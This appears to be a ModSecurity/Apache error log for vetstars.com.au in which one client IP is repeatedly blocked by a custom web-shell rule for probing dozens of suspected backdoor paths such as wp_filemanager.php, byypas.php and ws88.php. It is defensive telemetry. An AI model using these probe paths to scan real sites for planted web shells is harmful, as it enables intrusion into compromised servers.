[Sat Apr 18 02:39:54.216605 2026] [:error] [pid 42442:tid 42446] [client 51.120.90.220:8166] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeJ-ej4PBGqL_yqPJ8lXmQAAAQI"]
[Sat Apr 18 02:39:54.784332 2026] [:error] [pid 59043:tid 59096] [client 51.120.90.220:8180] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeJ-eoRtUGE9SfUh2wwkLAAAAFY"]
[Sat Apr 18 02:39:55.452411 2026] [:error] [pid 59042:tid 59061] [client 51.120.90.220:8188] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeJ-e56p5oql0UklEBJpywAAAA4"]
[Sat Apr 18 02:39:56.094406 2026] [:error] [pid 42442:tid 42452] [client 51.120.90.220:23980] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeJ-fD4PBGqL_yqPJ8lXogAAAQg"]
[Sat Apr 18 02:39:56.832025 2026] [:error] [pid 63702:tid 63749] [client 51.120.90.220:23971] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeJ-fMTL05PWYsKqTEYx1wAAAUk"]
[Sat Apr 18 02:39:57.396919 2026] [:error] [pid 42442:tid 42454] [client 51.120.90.220:8108] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeJ-fT4PBGqL_yqPJ8lXqQAAAQo"]
[Sat Apr 18 02:39:58.035427 2026] [:error] [pid 59044:tid 59117] [client 51.120.90.220:7730] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeJ-fgFamkFyEtD_SMHSwgAAAJA"]
[Sat Apr 18 02:39:58.795353 2026] [:error] [pid 59044:tid 59112] [client 51.120.90.220:8066] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeJ-fgFamkFyEtD_SMHSwwAAAIs"]
[Sat Apr 18 02:39:59.491816 2026] [:error] [pid 59044:tid 59111] [client 51.120.90.220:8170] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeJ-fwFamkFyEtD_SMHSxAAAAIo"]
[Sat Apr 18 02:40:00.150004 2026] [:error] [pid 59043:tid 59078] [client 51.120.90.220:8153] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeJ-gIRtUGE9SfUh2wwkMQAAAEQ"]
[Sat Apr 18 02:40:00.802641 2026] [:error] [pid 59042:tid 59057] [client 51.120.90.220:8149] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeJ-gJ6p5oql0UklEBJp1QAAAAo"]
[Sat Apr 18 02:40:01.450687 2026] [:error] [pid 42442:tid 42447] [client 51.120.90.220:8150] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeJ-gT4PBGqL_yqPJ8lXuQAAAQM"]
[Sat Apr 18 02:40:02.075573 2026] [:error] [pid 63702:tid 63761] [client 51.120.90.220:8064] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeJ-gsTL05PWYsKqTEYx3gAAAVQ"]
[Sat Apr 18 02:40:02.675969 2026] [:error] [pid 63702:tid 63746] [client 51.120.90.220:8171] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aeJ-gsTL05PWYsKqTEYx3wAAAUc"]
[Sat Apr 18 02:40:03.262291 2026] [:error] [pid 63702:tid 63743] [client 51.120.90.220:8162] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aeJ-g8TL05PWYsKqTEYx5AAAAUQ"]
[Sat Apr 18 02:40:03.908385 2026] [:error] [pid 42442:tid 42460] [client 51.120.90.220:24153] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aeJ-gz4PBGqL_yqPJ8lXywAAARA"]
[Sat Apr 18 02:40:05.138445 2026] [:error] [pid 59043:tid 59074] [client 51.120.90.220:8074] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aeJ-hYRtUGE9SfUh2wwkMwAAAEA"]
[Sat Apr 18 02:40:05.987389 2026] [:error] [pid 59044:tid 59106] [client 51.120.90.220:24148] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aeJ-hQFamkFyEtD_SMHSyQAAAIU"]
[Sat Apr 18 02:40:06.633642 2026] [:error] [pid 42442:tid 42462] [client 51.120.90.220:8161] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeJ-hj4PBGqL_yqPJ8lX2wAAARI"]
[Sat Apr 18 02:40:07.259279 2026] [:error] [pid 59044:tid 59103] [client 51.120.90.220:23996] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeJ-hwFamkFyEtD_SMHSywAAAII"]
[Sat Apr 18 02:40:07.809143 2026] [:error] [pid 59043:tid 59084] [client 51.120.90.220:23949] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeJ-h4RtUGE9SfUh2wwkNwAAAEo"]
[Sat Apr 18 02:40:08.390540 2026] [:error] [pid 59136:tid 59149] [client 51.120.90.220:7686] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeJ-iCaoiUyiIR3EhLXR1AAAAMo"]
[Sat Apr 18 02:40:08.967400 2026] [:error] [pid 59044:tid 59125] [client 51.120.90.220:8128] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "aeJ-iAFamkFyEtD_SMHS0QAAAJg"]
[Sat Apr 18 02:40:52.488647 2026] [:error] [pid 63702:tid 63741] [client 51.120.90.220:23959] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeJ-tMTL05PWYsKqTEYycwAAAUM"]
[Sat Apr 18 02:40:53.458189 2026] [:error] [pid 59044:tid 59111] [client 51.120.90.220:8181] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeJ-tQFamkFyEtD_SMHS-AAAAIo"]
[Sat Apr 18 02:40:54.141051 2026] [:error] [pid 59044:tid 59119] [client 51.120.90.220:8077] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeJ-tgFamkFyEtD_SMHS-gAAAJI"]
[Sat Apr 18 02:40:54.727625 2026] [:error] [pid 59136:tid 59160] [client 51.120.90.220:8152] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeJ-tiaoiUyiIR3EhLXR9QAAANU"]
[Sat Apr 18 02:40:55.298897 2026] [:error] [pid 59042:tid 59051] [client 51.120.90.220:8135] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeJ-t56p5oql0UklEBJqOAAAAAQ"]
[Sat Apr 18 02:40:56.121799 2026] [:error] [pid 59042:tid 59060] [client 51.120.90.220:8169] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeJ-uJ6p5oql0UklEBJqOwAAAA0"]
[Sat Apr 18 02:40:56.845941 2026] [:error] [pid 63702:tid 63756] [client 51.120.90.220:8133] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeJ-uMTL05PWYsKqTEYyeQAAAU8"]
[Sat Apr 18 02:40:57.679800 2026] [:error] [pid 59043:tid 59089] [client 51.120.90.220:8156] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeJ-uYRtUGE9SfUh2wwkYQAAAE8"]
[Sat Apr 18 02:40:58.409325 2026] [:error] [pid 59043:tid 59095] [client 51.120.90.220:8102] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "aeJ-uoRtUGE9SfUh2wwkZAAAAFU"]
[Sat Apr 18 02:40:59.131391 2026] [:error] [pid 59044:tid 59105] [client 51.120.90.220:8123] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "aeJ-uwFamkFyEtD_SMHTAAAAAIQ"]
[Sat Apr 18 02:40:59.759105 2026] [:error] [pid 59043:tid 59093] [client 51.120.90.220:8179] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "aeJ-u4RtUGE9SfUh2wwkZwAAAFM"]
[Sat Apr 18 02:41:00.476547 2026] [:error] [pid 42442:tid 42448] [client 51.120.90.220:8137] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "aeJ-vD4PBGqL_yqPJ8lYPAAAAQQ"]
[Sat Apr 18 02:41:01.143258 2026] [:error] [pid 59044:tid 59111] [client 51.120.90.220:8106] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeJ-vQFamkFyEtD_SMHTAQAAAIo"]
[Sat Apr 18 02:41:01.865124 2026] [:error] [pid 63702:tid 63750] [client 51.120.90.220:8134] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeJ-vcTL05PWYsKqTEYyfQAAAUo"]
[Sat Apr 18 02:41:02.515854 2026] [:error] [pid 59044:tid 59101] [client 51.120.90.220:8099] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeJ-vgFamkFyEtD_SMHTBwAAAIA"]
[Sat Apr 18 02:41:03.208132 2026] [:error] [pid 42442:tid 42467] [client 51.120.90.220:8157] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hroxw.php"] [unique_id "aeJ-vz4PBGqL_yqPJ8lYQgAAARc"]
[Sat Apr 18 02:41:03.876873 2026] [:error] [pid 59044:tid 59115] [client 51.120.90.220:8071] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeJ-vwFamkFyEtD_SMHTDAAAAI4"]
[Sat Apr 18 02:41:04.694226 2026] [:error] [pid 63702:tid 63765] [client 51.120.90.220:8111] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeJ-wMTL05PWYsKqTEYyggAAAVg"]
[Sat Apr 18 02:41:05.376172 2026] [:error] [pid 59044:tid 59105] [client 51.120.90.220:7688] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeJ-wQFamkFyEtD_SMHTEAAAAIQ"]
[Sat Apr 18 02:41:06.041550 2026] [:error] [pid 59044:tid 59121] [client 51.120.90.220:8093] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aeJ-wgFamkFyEtD_SMHTEgAAAJQ"]
[Sat Apr 18 02:41:06.637748 2026] [:error] [pid 59043:tid 59085] [client 51.120.90.220:23986] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aeJ-woRtUGE9SfUh2wwkbwAAAEs"]
[Sat Apr 18 02:41:07.287886 2026] [:error] [pid 59044:tid 59108] [client 51.120.90.220:8177] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aeJ-wwFamkFyEtD_SMHTEwAAAIc"]
[Sat Apr 18 02:41:08.078684 2026] [:error] [pid 63702:tid 63749] [client 51.120.90.220:8100] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aeJ-xMTL05PWYsKqTEYyhwAAAUk"]
[Sat Apr 18 02:41:08.706159 2026] [:error] [pid 42442:tid 42455] [client 51.120.90.220:8078] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoo.php"] [unique_id "aeJ-xD4PBGqL_yqPJ8lYSgAAAQs"]
[Sat Apr 18 02:41:09.383210 2026] [:error] [pid 59042:tid 59053] [client 51.120.90.220:24187] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "aeJ-xZ6p5oql0UklEBJqTwAAAAY"]
[Sat Apr 18 02:41:09.976703 2026] [:error] [pid 63702:tid 63744] [client 51.120.90.220:8112] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "aeJ-xcTL05PWYsKqTEYyiQAAAUU"]
[Sat Apr 18 02:41:10.598300 2026] [:error] [pid 59042:tid 59055] [client 51.120.90.220:8154] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "aeJ-xp6p5oql0UklEBJqUgAAAAg"]
[Sat Apr 18 02:41:11.162341 2026] [:error] [pid 59043:tid 59094] [client 51.120.90.220:23991] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaza.php"] [unique_id "aeJ-x4RtUGE9SfUh2wwkcQAAAFQ"]
[Sat Apr 18 02:41:11.948442 2026] [:error] [pid 42442:tid 42451] [client 51.120.90.220:8073] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeJ-xz4PBGqL_yqPJ8lYUQAAAQc"]
[Sat Apr 18 02:41:12.852325 2026] [:error] [pid 59043:tid 59084] [client 51.120.90.220:8079] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeJ-yIRtUGE9SfUh2wwkcgAAAEo"]
[Sat Apr 18 02:41:13.486577 2026] [:error] [pid 59042:tid 59061] [client 51.120.90.220:23965] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeJ-yZ6p5oql0UklEBJqWQAAAA4"]
[Sat Apr 18 02:41:14.139221 2026] [:error] [pid 59042:tid 59047] [client 51.120.90.220:8187] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeJ-yp6p5oql0UklEBJqXQAAAAA"]
[Sat Apr 18 02:41:14.680450 2026] [:error] [pid 59043:tid 59091] [client 51.120.90.220:8091] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeJ-yoRtUGE9SfUh2wwkdQAAAFE"]
